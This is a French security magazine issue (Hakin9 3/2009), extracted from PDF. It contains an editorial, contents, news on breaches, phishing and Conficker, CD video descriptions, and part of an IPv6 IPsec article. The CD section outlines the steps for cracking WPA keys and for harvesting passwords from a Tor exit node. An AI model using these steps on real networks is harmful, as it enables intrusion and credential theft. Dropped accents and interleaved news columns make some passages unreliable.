You are on page 1of 84

DITORIAL

CHERS LECTEURS,
Vous tenez entre les mains le numro 3/2009 de Hakin9. Vous y trouverez comme toujours diffrents sujets lis la scurit informatique. Comme vous le savez, la liste de technique de hacking est trs longue ; l`imagination des pirates ne cesse de nous surprendre. Mais rassurons-nous, chaque problme sa solution. Chaque attaque peut tre pare. Tout le monde le sais que trouver le moyen de stopper les pirates, qui sont omniprsents dans le monde entier, donne pas mal de satisfaction. Dans ce numro nous vous donnons quelques ides trs intressantes concernant les bases de donnes, la securisation des systmes et le danger de rseaux informatiques. D`abord, nous vous invitons lire la deuxme partie de l`article de Frdric Roudaut sur le protocole Ipv6. Cet article est destin vous faire apprhender les techniques fondamentales d`IPv6, le nouveau mode d`adressage et la configuration automatique. Ensuite, vous trouverez la rubrique Technique et le fameux Keylogger 2.0 crit par Antonio Fanell, qui vous prsentera comment utiliser ce keylogger 2.0 pour exploiter une faille XSS d`un site web. Dans la mme rubrique vous trouverez La scurit des systmes virtualiss de Julien Reveret de la socit iTrust. Vous verrez tout au long de cet article que les technologies de virtualisations peuvent servir aux codes malicieux et qu`elles prsentent des failles qui peuvent rendre une infrastructure plus fragile. En ce qui concerne les failles, l`article de Frdric Charpentier de la socit Xmco Partners vous en parlera aussi. Il vous montrera la face cache du ver Conficker qui est due un bug de type stack buffer overlow. Nous n`avons pas oubli de nos chers dbutants, qui ont srement envie de lire un article beaucoup plus facile et moins technique que les autres. Cette fois-ci nous avons choisi l`article de Didier Sicchia qui parle de SPAM, SCAM et les attaques phishing. L`auteur vous expliquera les mthodes utilises par les pirates afin de constituer des listes importantes d'adresses lectroniques. En outre, nous vous proposons d`autres articles concernant les attaques et la scurit. Maintenant, quand vous avez dj en main des solutions concrtes et efficaces, vous pouvez enfin se mettre au travail pour les appliquer. Je voudrais remercier tous nos bta-testeurs qui nous aident beaucoup avec leurs critiques pertinentes. Ce sont leurs remarques qui nous permettent de prsenter ce numro en toute srnit. Si toutefois vous avez des suggestions faire, n`hsitez pas nous contacter. Soyez srs qu`elles feront l`objet de toute notre attention.

Bonne lecture ! Magorzata Kompiel Rdaction de Hakin9

3/2009 HAKIN9

SOMMAIRE
DOSSIER
10 Mcanismes IPv6 avancs
FRDRIC ROUDAUT Cet article est la suite de celui publi dans le numro prcdent destin vous faire apprhender les techniques fondamentales dIPv6, le nouveau mode dadressage, les mcanismes de communication sous-jacents, la configuration automatique bref lensemble des protocoles basiques qui composent larchitecture dIPv6. Cet article sera aussi l'occasion de vous initier la mise en uvre de ce nouveau protocole.

FOCUS
30 Conficker, le ver qui rveille la scurit informatique
FRDRIC CHARPENTIER, XMCO PARTNERS Conficker exploite une faille de scurit des systmes Windows publie et corrige en octobre 2008 par Microsoft. Cette faille, rfrence sous le code MS08067 ou CVE-2008-4250, est due un bug de type stack buffer overflow. Il s'agit donc d'un dbordement de tampon relativement classique. De surcroit, ce bug est situ dans une partie du code trs proche d'un prcdent bug critique, le bug MS06-040.

PRATIQUE
26 Les Failles CSRF, Quels sont les risques ?
PAUL AMAR Les failles Cross-Site Request Forgeries ou communment appeles CSRF ou encore XSRF restent un vecteur d'attaque trs mconnu par rapport d'autres vulnrabilits Web tels que les Injection SQL etc. Cependant de nombreux auteurs comme Norm Hardy (1988) ou encore Peter Watkins (2001) ont trait du sujet il y a quelques annes.

36

Benchmarking attacks

FABIEN KERBOUCI Il existe plusieurs mthodes pour obtenir des informations prives dune application sans mettre en dfaut son mode dexcution et en laissant lapplication et son environnement parfaitement intgres. Cest lenjeu des attaques par indicateurs ou benchmarking attacks.

BACKUP
42 Comprendre les algorithmes de compression de donnes
DIDIER SICCHIA Certes, le volume grandissant des disques durs apporte un certain confort dans

TECHNIQUE
48 La scurit des systmes virtualiss
JULIEN REVERET, ITRUST La virtualisation est la mode depuis quelques temps, il n'est pas rare dans un environnement de test de se trouver sur une machine virtuelle plutot que physique. Nous verrons tout au long de l'article que les technologies de virtualisations peuvent servir aux codes malicieux et qu'elles prsentent des failles qui peuvent rendre une infrastructure plus fragile.

HAKIN9 3/2009

SOMMAIRE
54 Scuriser la navigation Internet des utilisateurs
TONY FACHAUX Le web regorge de menaces de plus en plus varies. Le virus n'est plus la seule menace craindre. Une multitude de menaces, dont l'utilisateur lambda ne connat mme pas l'existence, font leur apparition. Spyware, botnet ou encore ransomware deviennent monnaie courante. Quelles menaces faut-il craindre aujourd'hui, et comment s'en protger ?

POUR LES DBUTANTS


72 Comment viter le SPAM, le SCAM et les attaques phishing
DIDIER SICCHIA Cet article explique les techniques propres aux spams, scams et les attaques par phishing. Nous expliquerons aussi les mthodes utilises par les pirates afin de constituer des listes importantes d'adresses lectroniques.

VARIA
06 En bref
Vous trouverez ici les nouvelles du monde de la scurit des systmes informatiques. Prpare par Christophe Ledorze Instructeur Linux Novell

58

Keylogger 2.0

ANTONIO FANELL Aujourdhui, on utilise de plus en plus de scripts asynchrones pour amliorer l'exprience utilisateur sur Internet. Cependant, des malwares nouvelle gnration voient le jour pour les exploiter. Dans cet article, vous apprendrez concevoir un keylogger Web 2.0 puis vous l'utiliserez pour exploiter une faille XSS d'un site web.

08

Sur le CD-ROM

Nous vous prsentons deux cours vido. Le premier 'Cracking WPA' explique comment mettre mal un rseau sans fil scuris grce au fameux protocole de cryptage WPA. Le deuxime, Tor Hacking assure que le rseau danonymat Tor nest pas aussi hermtique que lon peut penser.

78

Feuilleton

JULIEN RAEIS Les attaques hors-ligne

80

Interview

Nous vous invitons la lecture d`entretien avec AnneGalle Lunot, une jeune entrepreneuse passionne, qui a cr Zlites, une socit de prestations informatiques aux Mans (Sarthe, FR)

64

mission compromettante. Orage dans un verre d'eau ?

82

Dans le prochain numro

UKASZ MACIEJEWSKI Actuellement, quasiment toutes les informations sont vendre et constituent une marchandise trs prcieuse. Voulez-vous permettre les autres de vous les voler impunment ? L'attaque est la meilleure dfense une attaque lectromagntique.

Quelques mots sur les articles qui paratront dans le numro 4/2009 (38)

3/2009 HAKIN9

EN BREF
WARDRIVING A MUMBAI
La police Indienne s'est vu remettre des radars d'un nouveau genre dans ce corps de mtier, des sniffers wifi . En effet le Times of India rvle que suite aux attentats de Delhi et d'Ahmedabad, les agents de police de Mumbai et bientt ceux de Bombay ont pour ordre de contrler et de verbaliser les propritaires de reseaux Wifi accessibles et non verrouills (plus de 88%) au nom de l'article 149 du code pnal Indien, les dtenteurs de rseaux WEP seront quant eux fortement conseills de passer a des protocoles plus srs. Il semblerait, selon le quotidien, que des tracts de propagandes terroristes furent envoys par ce biais peu de temps avant les attaques la bombe . On pourrait penser que les terroristes potentiels trouverait refuge dans les cyber caf pour y lancer leur propagande, mais ceci est dj sous contrle depuis 2007, lors d'une vague d'installation de keyloggers. site Web de vrifier si un utilisateur est logu d'autres sites. Ainsi un esprit malsain peu assez aisment forger une page qui peut tre en mesure de dtecter, selon une liste prdfinie les connexions en cours d'un utilisateur vers les sites des banques connues. Il est alors possible de raliser une attaque classique de Phishing en proposant un pop-up aux couleurs des banques vises, poussant l'utilisateur se reloguer. Il ne reste plus notre attaquant que collecter ces accs et se connecter la place des ayants droits sur les sites banques afin d'accder l'ensemble des comptes de la victime. Donc dans tous les cas, il vaut mieux ne pas naviguer sur plusieurs sites en mme temps que votre session avec votre banque ou d'autres services de l'administration , et de privilgier le blocage des pop-up. a affirm Dave Perril vice prsident de Wand Worp. L'enqute a conclut qu'Everett a exploit une faille de scurit qu'il avait dcouvert durant son travail au sein de Wand. Je pense que le message retenir de ce triste exemple est l'importance du changement des mots de passe et la suppression de ses accs quand un membre de votre quipe vient de la quitter. ajouta Graham Cluley, consultant au sein de l'quipe d'antivirus Sophos. Finalement mme si quelques serveurs tombrent les dommages ne s'lvent pas au del de 50000$, mais cela aurait put atteindre les 4,25M$ si la charge avait continu son oeuvre.

TOUTES LES CARTES EN MAIN


Heartland Payment Systems, une firme dployant l'infrastructure de gestion des cartes de crdit dans plus de 250000 entreprises amricaines a alert ses usagers sur le fait que la scurit entourant leurs informations bancaires avait t compromises. En effet des enquteurs spcialiss d'une compagnie du New Jersey , The Priceton, ont affirm avoir trouv la semaine dernire des preuves irrfutables de dtournement des softs clients. Heartland s'excuse pour tous les dsagrments que cette situation a put caus a dclar le prsident et CFO Robert H.B Baldwin Jr. Heartland est profondment attach au maintien de la scurit des donnes du titulaire de la carte, et nous continuerons de faire tout ce qui est raisonnablement possible d'atteindre cet objectif. Selon la Banque Info Security, Heartland est le sixime plus grand organisme de paiements aux tatsUnis et gre 100 millions de transactions par mois. La socit a assur qu'elle travaillait de paire avec les enquteurs des services secrets amricains. Un site Web, www.2008breach.com, a galement t mis en place pour fournir des informations supplmentaires aux titulaires des cartes affectes par la compromission.

VENGEANCE, MALBOUFFE ET SABOTAGE


David Ernest Everett, 21 ans vient de plaider coupable dans l'affaire du piratage de plus de 1000 serveurs l'opposant a son ancien employeur Wand Corporation, Wand Corporation est connu pour tre en autre la firme en charge de l'administration du parc de serveur de chaines de Fast food tels que Pizza Hut, KFC, Burger King. Le jeune pirate risque 10 ans de prison pour avoir cr et lanc sur le rseau d'administration Wand 3 malwares devant pousser au crash des serveurs situs dans les chaines de restaurants. Ceci trois semaines aprs avoir t licenci pour des raisons inconnues.Ces serveurs taient en charge de la gestion des stocks aussi bien que de celle des caisses. Heureusement pour la firme, le crash orchestr n'a pas affect plus de 25 serveurs, les administrateurs de Wand ayant t inform rapidement des difficults techniques rencontres par les restaurants, ils ont pu enquter en temps et ainsi trouver la charge virale dpose par Everett. Une fois que nous avons t informs de la situation, nous avons t capables de minimiser les dgts .

UN VISAGE FAMILIER EST BIEN PLUS FACILE POUR TROMPER


Le groupe de chercheurs en scurit de Trusteer lead par Amit klein vient de mettre en lumire un nouveau scnario de Phishing qui encore une fois servirait dtourner les informations personnels des victimes lors de leurs connections sur les sites de leurs banques. Elle se base sur le simple constat qu'une personne reste facilement connecte au site de sa banque au cas o.., et que dans la pense commune la pop-up reste dans un coin ne relaye de toute faon que les informations apportes par sa banque, donc un site de confiance. Donc si aprs un certain temps, cette pop-up demande l'utilisateur de se rauthentifier ou de remplir une enqute de satisfaction rien ne semblera suspect . Pourtant une technique, le in-session phishing , lie a une faiblesse du moteur JavaScript commun tous les navigateurs (Opra, Internet Explorer, Firefox, Safari...) donne la possibilit un
6 HAKIN9 3/2009

PAS DE CIRCONSTANCES ATTNUANTES POUR ACID


Le jugement dans le procs d'un consultant amricain en scurit

EN BREF
informatique accus d'avoir pilot un gigantesque botnet est sur le point d'tre rendu. En effet John Kenneyh Schiefer, 28 ans, aurait t le chef d'orchestre d'une arme de 250000 zombies, tous infects par ses soins, dont le seul but tait de l'aider et aux deux autres amis aussi dans la capture de mots de passe, de donnes bancaires, l'infection d'autres machines ainsi que la transmission de ses accs d'autres crackers. Vu la manire avec laquelle ses crimes furent oprs, sa demande, pour pouvoir continuer d'exercer son mtier, elle a t rejet par le procureur. Celui i s'appuyant de plus sur un document de 31 pages numrant les mfaits informatiques et humains de AcidStorm ou Acid. La dfense quant elle ne put appuyer son argumentation que sur le fait que ses malwares ne causrent pas tant de dgts, et que l'accus avait t la cible d'abus sexuel. Si cet homme a t autoris tre un professionnel de la scurit, il dtruit la rputation des autres professionnels de la scurit a dclar Mark Rasch, un ancien procureur fdral li au secteur IT aujourd'hui spcialiste en crimes informatiques Bethesda dans le Maryland. La sentence sera rendue le 25 fvrier prochain, JK Schiefer risque 60 mois de prison, 1,7 millions de dollars d'amende et 5 ans de libert conditionnelle. Pour pouvoir s'installer, le ver commence par rechercher le fichier services.exe pour le signer. Il se rplique alors dans les rpertoire de Windows en prenant ayant mut en une DLL. Il finira par changer les dates lies son inode et a les calquer sur celles de kernel32.dll pour drouter un test de scurit de plus. Question propagation rseau, Microsoft indique : Conficker se charge en mmoire et se propage vers des adresses IP alatoires travers le rseau en exploitant une faille du service Windows Server . Si la faille est exploite, le ver commande l'ordinateur cible de copier le code du ver depuis l'ordinateur hte via HTTP et en utilisant un port alatoire ouvert par le ver . Outre le fait que le ver rinitialise les points de restauration du systme empchant tout retour arrire infection, il faut noter que ce ver dtermine la position gographique de la machine sur lequel il vient d'arriver et ainsi ne semble pas s'attaquer aux machines Ukrainiennes. rcupration d'information l'lvation des privilges en passant par l'exploitation d'une faille dont les plus courantes (XSS, SQL injection) furent expliques avec exemples l'appui. L'une des meilleures confrences sur la Scurit fut prsente par Victor Stinner qui introduisait son fuzzer Fusil, plateforme permttant de crer rapidement des fuzzers pour des applications. Pour mieux comprendre Fusil, il est revenu sur la notion de fuzzing pour valuer la capacit de raction d'un programme sur des valeurs non conformes, selon trois mthodes: l'alatoire pur; l'injection de faute dans des donnes valides; et la cration de tronon alatoire conforme aux spcifications. L'une des plus importantes confrences Systme fut celle prsente par H. Peter Anvin sur son one-night hacking SysLinux et le Dynamic Bootloading. SysLinux est un ensemble de bootloaders de diffrents types (PXELinux, SysLinux, IsoLinux,etc.), et est aisment modulable par des APIs fournis. La caractristique principale des SysLinux est qu'il dcouvre le systme au boot et non l'installation d'un OS, comme le fait Grub ou Lilo. Il est donc trs pratique pour les LiveCD ou CD d'installation Linux, car il permet de booter sur un noyau stable avant d'installer un OS. gPxeLinux est n des projets Etherboot et SysLinux pour crer un bootloader rseau complet supportant de nombreux protocoles rseaux permettant de rcuprer dynamiquement sur son poste un kernel distant. Autre grosse confrence Systme concernait le nouveau filesystem, Ext4, dploy en standard partir des noyaux Linux 2.6.28. Anime par Theodore Ts'o, cette confrence a dcrit comment Ext4 pallie aux limites d'Ext3, comme la taille limite 16To, les 32000 sousrpertoires possibles. Ext4 pallie tout cela en permettant la gestion d'un FS jusqu' 1 Eo (et une taille maximale de 16To par fichier) en ajoutant un bloc d'indirection de 48 bits. Ext4 ajoute galement des fonctionnalits fort apprciables, comme la pr-allocation d'inodes ou la dfragmentation chaud, qui fait d'Ext4 une bonne volution d'Ext3, en attendant BTRFS.
3/2009 HAKIN9 7

FOSDEM 2009, CHRISTOPHE ALLADOUM, CONSULTANT SCURIT (HSC)


Cette anne, le FOSDEM s'est tenu le week-end du 7-8 fvrier Bruxelles. Parmi les confrences les plus prises, figure Reverse Engineering of Network Protocol par Rob Savoye. Il expliquait sa dmarche pour crer Gnash en reversant le protocole propritaire d'Adobe RTMP (Real-Time Messaging Protocol) partir de l'analyse des traces rseau avec Wireshark ou nGrep, l'isolation de patterns hexadcimaux pour reconstituer les headers des paquets. Cela incluait galement un reverse engineering sur les binaires de Flash fournis par Adobe. Selon Rob, le Reverse Engineering est avant tout tre curieux et surtout (trs) patient. La Scurit a eu aussi son lot de confrences. La confrence de l'OWASP prsente par Matteo Meucci tait assez gnral quant aux tests d'intrusions sur les applications web. Les diffrentes approches(black/gray/white box) ont t expliques. Suite cela, il a cern les tapes d'une attaque rseau, de la

MICROSOFT PRDIT, SUGGRE ET CONSTATE


En octobre dernier la faille critique pour XP, 2000 et 2003 avait donn un bulletin d'alerte, le MS08-067 : Cette mise jour de scurit corrige une vulnrabilit cache dans le service Serveur. Cette faiblesse pourrait permettre l'excution de code distance si un systme affect recevait une requte RPC spcialement prpare. Sur les systmes Windows 2000, Windows XP et Windows Server 2003, un attaquant pourrait ainsi exploiter cette faille pour faire excuter du code arbitraire sans ncessiter d'authentification. Il serait possible d'utiliser cette vulnrabilit dans la cration d'un ver. C'est fait, et ce ver c'est Conficker.

SUR LE CD
CD-ROM HAKIN9.LIVE
VIDO CRACK DE CL WPA
Grce cette courte vido, nous allons aborder un sujet trs en vogue du moment : Les faiblesses du Wireless. Aprs avoir vu et revu de nombreuse fois que le cryptage WEP (Wired Equivalent Privacy) tait obsolte, il fut fortement conseill de passer au WPA (Wifi Ptrotected Access). Dans cette vido, nous allons donc voir comment mettre mal un rseau sans fil scuris grce au fameux protocole de cryptage WPA. Afin de procder, nous allons utiliser la clbre suite doutils Aircrack afin de nous aider dans cette tche. La suite aircrack comprend les outils suivants : aircrack-ng : casseur de cls WEP et WPA-PSK, aireplay-ng : programme d'injection de paquets 802.11, airodump-n : programme de capture de paquets 802.11.

Afin de pouvoir utiliser lensemble de cette suite sans aucun problme, nous allons utiliser le live CD spcialis en scurit : BackTrack. Backtrack dispose actuellement de 300 outils permettant davoir le maximum de chance darriver notre fin en ce qui concerne la mise mal des rseaux sans fil. Au cours de cette vido, nous allons donc approcher le crackage de cl WPA de cette manire :

paramtrage de la carte wifi, listing des rseaux quil est possible dattaquer, isolation du rseau de la victime, attaque par dsauthentification, dcouverte de la cl WPA grce une attaque par bruteforce.

Lensemble de ces tapes doivent imprativement tre ralis dans cet ordre dexcution.

VIDO TOR HACKING

Grce cette vido, nous allons pouvoir aborder un point de plus en plus important sur internet : Lanonymat. De nos jours, les motivations qui justifient le dsir de conserver l'anonymat sur Internet sont de plus en plus nombreuses mais galement de plus en plus varies. (Activits moralement discutables, pdophilie, fraude, piratage, tlchargement illgaux, pornographie, etc). Le rseau danonymat Tor (The Onion Router) est actuellement considr comme lun des moyens danonymat sur internet le plus sur. Au cours de cette vido nous allons vous simplement montrer que le rseau danonymat Tor nest pas aussi hermtique que lon peut le penser grce linstallation dun nud de sortie Tor ainsi que lanalyse du rseau grce des outils ddis cette tche. Au cours de cette vido, nous allons donc approcher le Hack de Tor de cette manire :
8 HAKIN9 3/2009

installation et configuration de Tor et de tout ses composants, configuration dun relais Tor permettant de relayer le trafic rseau, installation et mise en marche des analyseurs rseau (sniffer), rcupration de la liste des mots de passe durant la priode de lattaque.

Lensemble de ces tapes doivent imprativement tre ralis dans cet ordre dexcution.

Sil vous est impossible de lire le CD. et que ce dernier nest pas endommag physiquement, essayez de lire dans au moins 2 lecteurs diffrents.

En cas de problme avec votre CD, envoyez-nous un message ladresse suivante : cd@hakin9.org

3/2009 HAKIN9

DOSSIER
FRDRIC ROUDAUT

Mcanismes IPv6 avancs


Degr de difficult

Depuis les annes 80, lInternet connat un succs incroyable. La majeure partie des entreprises y est maintenant directement connecte, le nombre de particuliers dtenteur dun abonnement Internet auprs dun FAI (Fournisseur dAccs Internet) est en constante croissance.

u moment de la dfinition d'IPv6, de nouveaux besoins tels que la scurit, la mobilit sont apparus et ont pu tre pris en compte lors de la phase de standardisation. Ce chapitre prsente quelques-uns de ces mcanismes qui reprsentent une grande avance de la couche rseau.

Les services de scurisation offerts par ces 2 protocoles sont distincts : AH permet de s'assurer que l'metteur du message est bien celui qu'il prtend tre. Il sert aussi au contrle d'intgrit pour garantir au rcepteur que personne n'a modifi le contenu d'un message lors de son acheminement et peut optionnellement tre utilis pour la dtection des rejeux. ESP offre les mmes services quAH et permet en plus de chiffrer l'ensemble des paquets ou uniquement la charge utile. ESP garantit galement de faon limite l'intgrit du flux.

IPsec
IPsec est le protocole spcifiquement conu pour scuriser IPv6. Il permet de raliser des rseaux privs Virtuels ou VPNs (Virtual Private Networks) au niveau IP et offre les services :

CET ARTICLE EXPLIQUE...


Cet article est la suite de celui publi dans le numro prcdent destin vous faire apprhender les techniques fondamentales dIPv6, le nouveau mode dadressage, les mcanismes de communication sous-jacents, la configuration automatique bref lensemble des protocoles basiques qui composent larchitecture dIPv6.

dauthentification des donnes, de chiffrement de donnes, dintgrit des donnes pour garantir que les paquets nont pas t modifis durant leur acheminement, danti-rejeu afin de dtecter les ventuels paquets rejous par un attaquant.

Associations de scurit
Afin de scuriser les changes, les entits en prsence doivent bien videmment partager un ensemble commun dinformations telles que le protocole IPsec usit (AH ou ESP), les cls, les algorithmes Ces diffrentes informations constituent des associations de scurit ou SA (Security Association). Chaque association de scurit est identifie de manire unique par un triplet comprenant un indexe de paramtres de scurit SPI (Security Parameters Index), l'adresse du destinataire IP et le protocole de scurit AH ou ESP. Une association de scurit est unidirectionnelle. Une communication bidirectionnelle entre 2 entits ncessite donc l'utilisation de 2 associations de scurit.

CE QU'IL FAUT SAVOIR...


Afin dapprhender au mieux cet article, il est prfrable davoir des connaissances relativement solides dIPv4 et en particulier du modle en couche TCP/IP. Il est bien videmment judicieux davoir galement au pralable apprhend les notions explicites dans larticle prcdent. 10 HAKIN9 3/2009

Toute implmentation IPv6 se doit de lintgrer dans sa pile. Ce protocole est galement utilisable avec IPv4 mais lutilisation du NAT/PAT (Network Address Translation/Protocole Address Translation) en limite la mise en uvre.

Mcanismes IPsec
IPsec dfinit 2 protocoles de scurisation : AH (Authentication Header), ESP (Encryption Security Payload).

IPV6
Mode Transport et Tunnel
Les normes IPsec dfinissent deux modes distincts d'opration IPsec : le mode Transport et le mode Tunnel. Le mode Tunnel ne fonctionne que pour les datagrammes IP-in-IP. En mode Tunnel, le paquet IP interne dtermine la stratgie IPsec qui protge son contenu tandis quen mode Transport, l'entte extrieur dtermine la stratgie IPsec qui protge le paquet IP interne. Contrairement au mode Transport, le mode Tunnel ne permet pas l'en-tte IP extrieur de dicter la stratgie de son datagramme IP interne. Enfin dans les 2 modes, lentte extrieur est partiellement protg mais le mode Tunnel lavantage de protger intgralement son entte extrieur pouvant ainsi s'avrer fortement utile pour la cration de VPN. reprsentent lensemble commun minimum des implmentations dAH. Lors de la rception dun paquet AH, la pile IPsec dtecte lassociation de scurit concerne, en dduit les algorithmes et les cls associes, calcule la valeur du champ ICV et la compare avec la valeur fournie. Dans le cas o ces 2 valeurs concident lintgrit ainsi que lauthentification des champs concerns est assure. Ces champs diffrent selon le mode usit transport ou tunnel. Le rejeu des paquets est quant lui dtect par le champ Sequence Number incrment chaque paquet et galement protg par le champ ICV. Lauthentification et lintgrit portent donc sur : les octets situs au dessus de lextension dentte AH, certains champs de lentte IPv6 invariants lors de lacheminement du paquet, certains champs invariants des extensions dentte positionnes avant AH.

Mode Transport
En mode Transport lextension AH est insre aprs lentte IPv6 et avant les enttes de niveau transport (TCP, UDP). De plus, AH tant vue comme une extension dentte traite de bout en bout de la communication, celle-ci apparait aprs les extensions dentte Hop-By-Hop Option Header, Routing Header et Fragment Header. Lextension dentte Destination Options Header est quant- elle place indiffremment avant ou aprs.

AH (Authentication Header)
La mise en uvre dAH repose sur une extension dentte spcifique. Celle-ci est dfinie dans la Figure 1. Le rle des diffrents champs de lextension dentte AH est prcis dans le Tableau 1.

Protection AH et Algorithmes
AH suppose gnralement une implmentation des algorithmes suivants : HMAC-MD5-96 (Peut tre implment) : Cet algorithme produit une empreinte sur 128 bits tronque 96 bits pour le champ ICV de AH, HMAC-SHA1-96 (Doit tre implment) : Cet algorithme produit une empreinte sur 160 bits tronque 96 bits pour le champ ICV de AH, AES-XCBC-MAC-96 (Devrait tre implment) : Ce protocole utilise le chiffrement par bloc AES dans un mode d'opration de type compteur coupl code d'authentification MAC (CBC-MAC). Le compteur sert assurer un chiffrement sr en vitant d'avoir un vecteur d'initialisation identique pour chaque message alors que le code d'authentification permet de vrifier que le message n'a pas t altr. Cet algorithme produit galement une empreinte sur 96 bits pour le champ ICV de AH.

Les extensions dentte positionnes aprs AH ne sont pas modifies durant lacheminement des paquets; ce titre celles-ci sont protges par le champ ICV. Cette protection diffre pour les extensions denttes positionns avant AH, certains champs pouvant tre altrs par les routeurs prsents le long du chemin. Les sous-options prsentes dans les extensions headers Hop-By-Hop et Destination Options Header disposent dun bit positionn 1 si loption peut tre modifie le long du trajet. Dans le cas o ce bit nest pas positionn la sous-option est protge, dans le cas contraire les octets de la sous-option sont positionns 0 lors du calcul de lICV. Cette protection ne sapplique pas non plus sur lextension Fragment Headers

Listing 1. Structure gnrale du fichier setkey.conf


flush ; spdflush; #Configuration SPD #Configuration SAD spddump; dump esp ;

Listing 2. Configuration SPD sur 3ffe::1


spdadd -6 3ffe::1 3ffe::2 any -P out ipsec esp/transport//require; spdadd -6 3ffe::1 3ffe::3 any -P out ipsec esp/transport//require;

Listing 3. Configuration SAD sur 3ffe::1


add 3ffe::1 3ffe::2 esp 10 -E aes-cbc "aescbcencryption" -A hmac-sha1 "hmacsha1authenticati"; add 3ffe::1 3ffe::3 esp 11 -E 3des-cbc "3descbcencryptiontesting" -A hmac-sha1 "hmacsha1authenticati";

Listing 4. Configuration SPD et SAD sur 3ffe::2


spdadd -6 3ffe::1 3ffe::2 any -P in ipsec esp/transport//require; add 3ffe::1 3ffe::2 esp 10 -E aes-cbc "aescbcencryption" -A hmac-sha1 "hmacsha1authenticati";

Dautres algorithmes sont bien entendu utilisables, mais ceux prciss ci-dessus

3/2009 HAKIN9

1 1

DOSSIER
32 Bits Next Header Hdr Ext Len SPI Sequence Number ICV Padding RESERVED

Ces 2 parties sont dfinies dans la Figure 4. Le rle des diffrents champs de lextension dentte ESP est prcis dans le Tableau 3.

Figure 1. Extension dentte AH qui apparat uniquement aprs la phase dauthentification. La Figure 2 montre ainsi le positionnement de lextension dentte AH en mode transport ainsi que la porte de lauthentification/intgrit.

Protection ESP et Algorithmes


La protection dESP repose sur le choix des algorithmes dauthentification et de chiffrements. Ceux-ci peuvent tre distincts ou combins, c'est--dire quauthentification et chiffrement sont raliss par le mme algorithme. Dans le cas dune protection combine, ESP suggre lutilisation dAES-CCM ou AES-GCM dj utilis pour respectivement le 802.11i et le 802.1ae. Dans le cas dune protection spare, ESP suppose gnralement une implmentation des algorithmes dauthentification suivants : NULL Authentication (Peut tre implment), HMAC-MD5-96 (Peut tre implment) : Cet algorithme produit une empreinte

Mode Tunnel
En mode Tunnel lextension AH est insre avant lentte IPv6. Un nouvel entte IPv6 est alors insr en tte. La Figure 3 et le Tableau 2 prsentent le mode de construction de ce ne nouvel entte ainsi que le positionnement des champs de lentte Intrieur.

sur 128 bits tronque 96 bits pour le champ ICV de AH, HMAC-SHA1-96 (Doit tre implment) : Cet algorithme produit une empreinte sur 160 bits tronque 96 bits pour le champ ICV de AH, AES-XCBC-MAC-96 (Devrait tre implment) : Ce protocole utilise le chiffrement par bloc AES dans un mode d'opration de type compteur coupl code d'authentification MAC (CBC-MAC). Le compteur sert assurer un chiffrement sr en vitant d'avoir un vecteur d'initialisation identique pour chaque message alors que le code d'authentification permet de vrifier que le message n'a pas t altr. Cet algorithme produit galement une empreinte sur 96 bits pour le champ ICV de AH.

ESP (Encryption Security Payload)

Les algorithmes de chiffrements dfinis sont alors les suivants : NULL Encryption (Doit tre implment), AES-CBC (Doit tre implment) : AES supporte 3 tailles de cl : 128, 192 et 256 bits. La taille de cl par dfaut est de 128 bits. AES-CBC ncessite un IV de 16 octets, 3DES-CBC (Doit tre implment) : Cet algorithme utilise une cl effective de 192 bits. Il est ralis par application de 3 DES-CBC, chacun utilisant une cl de 64 bits (dont 8 bits de parit). 3DES-CBC ncessite un IV de 8 octets, AES-CTR (Devrait tre implment) : AES en mode compteur supporte 3 tailles de cl : 128, 192 et 256 bits. La taille de cl par dfaut est de 128 bits. AES-CTR ncessite un IV de 16 octets, DES-CBC (Ne devrait pas tre implment).

La mise en uvre dESP repose sur une extension dentte spcifique. Celle-ci se dcompose en 2
Paquet originel : IPv6 Option Header

Payload

Paquet authentifi : IPv6 Option Header 1 Authentification Partielle AH Option Header 2 Payload

Authentifie :

- Version - Payload Lenght - Next Header - Source Address - Destination Address

Authentifi

Figure 2. AH en mode transport


Paquet originel : IPv6 Option Header Payload

Paquet protg : Nouvel entte IPv6 Authentifie : AH IPv6 orginel Option Header Payload

- Version - Payload Lenght - Next Header - Source Address - Destination Address

Authentifi

Figure 3. AH en mode tunnel


12 HAKIN9 3/2009

Dautres algorithmes sont bien entendu utilisables, mais ceux prciss ci-dessus reprsentent lensemble commun minimum des implmentations dESP. Il est noter quune association de scurit ESP ne doit aucun moment utiliser conjointement un algorithme dauthentification et de chiffrement nul. En mode tunnel, ESP depuis sa dernire version, propose un mode de confidentialit de flux par lutilisation du champ TFC. Ce champ permet dadjoindre des octets de bourrage de taille alatoire. La taille ce

IPV6

3/2009 HAKIN9

13

DOSSIER
32 Bits SPI Tte ESP Sequence Number IV Payload TFC Padding Pad Lenght ICV Padding Next Header Queue ESP

Figure 6 et le tableau 4 prsentent le mode de construction de ce ne nouvel entte ainsi que le positionnement des champs de lentte Intrieur.Dans le cas dune utilisation en mode tunnel la totalit du paquet initial est donc chiffre.

Topologies de mises en uvre


IPsec a un intrt majeur principalement par son mode ESP dans le cas o lon souhaite : chiffrer et/ou authentifier du trafic de bout en bout ou jusqu une passerelle. Dans ce cas les entits en prsence doivent prfrentiellement disposer dun adressage public, le NAT tant assez difficilement compatible avec IPsec. Une telle topologie a un intrt majeur pour assurer la confidentialit entre 2 entits ou pour un utilisateur nomade par exemple, crer un VPN entre sites distants. Ce besoin intervient dans le cas o lon veut par exemple interconnecter des rseaux privs distants au travers d'un rseau public.

Figure 4. Extension dentte ESP champ ntant prcise par aucun autre champ, celle-ci peut tre dduite du champ Payload Length de lentte IP intrieure au tunnel. Ce champ TFC pourrait galement tre utilis en mode transport la condition bien entendu que le protocole de niveau transport comporte une indication sur la taille de sa charge utile (cas de TCP, UDP, ICMP). Lors de la rception dun paquet ESP, la pile IPsec dtecte lassociation de scurit concerne et en dduit les algorithmes et les cls associes. Si la protection en authentification est active, le rcepteur calcule lICV sur le paquet ESP sans ce champ ICV. Si le champ calcul concide avec le champ transmis, lintgrit est assure sur les champs concerns. Ces champs diffrent selon le mode usit, transport ou tunnel. Vient ensuite le dchiffrement du paquet avec lalgorithme et la cl fournie par lassociation de scurit. Le rejeu des paquets est quant lui dtect la manire dAH par le champ Sequence Number incrment chaque paquet et galement protg par le champ ICV. Le chiffrement porte donc sur les octets situs au dessus de lextension dentte ESP lexception des champs SPI, Sequence Number, ICV. Lauthentification ventuelle ralise par le champ ICV porte sur lensemble des octets situs au dessus de lextension dentte ESP. La Figure 5 montre ainsi le positionnement de lextension dentte ESP en mode transport ainsi que la porte de lauthentification/intgrit et du chiffrement.

Mode Tunnel
En mode Tunnel lextension ESP est insre avant lentte IPv6. Un nouvel entte IPv6 est alors insr en tte. La
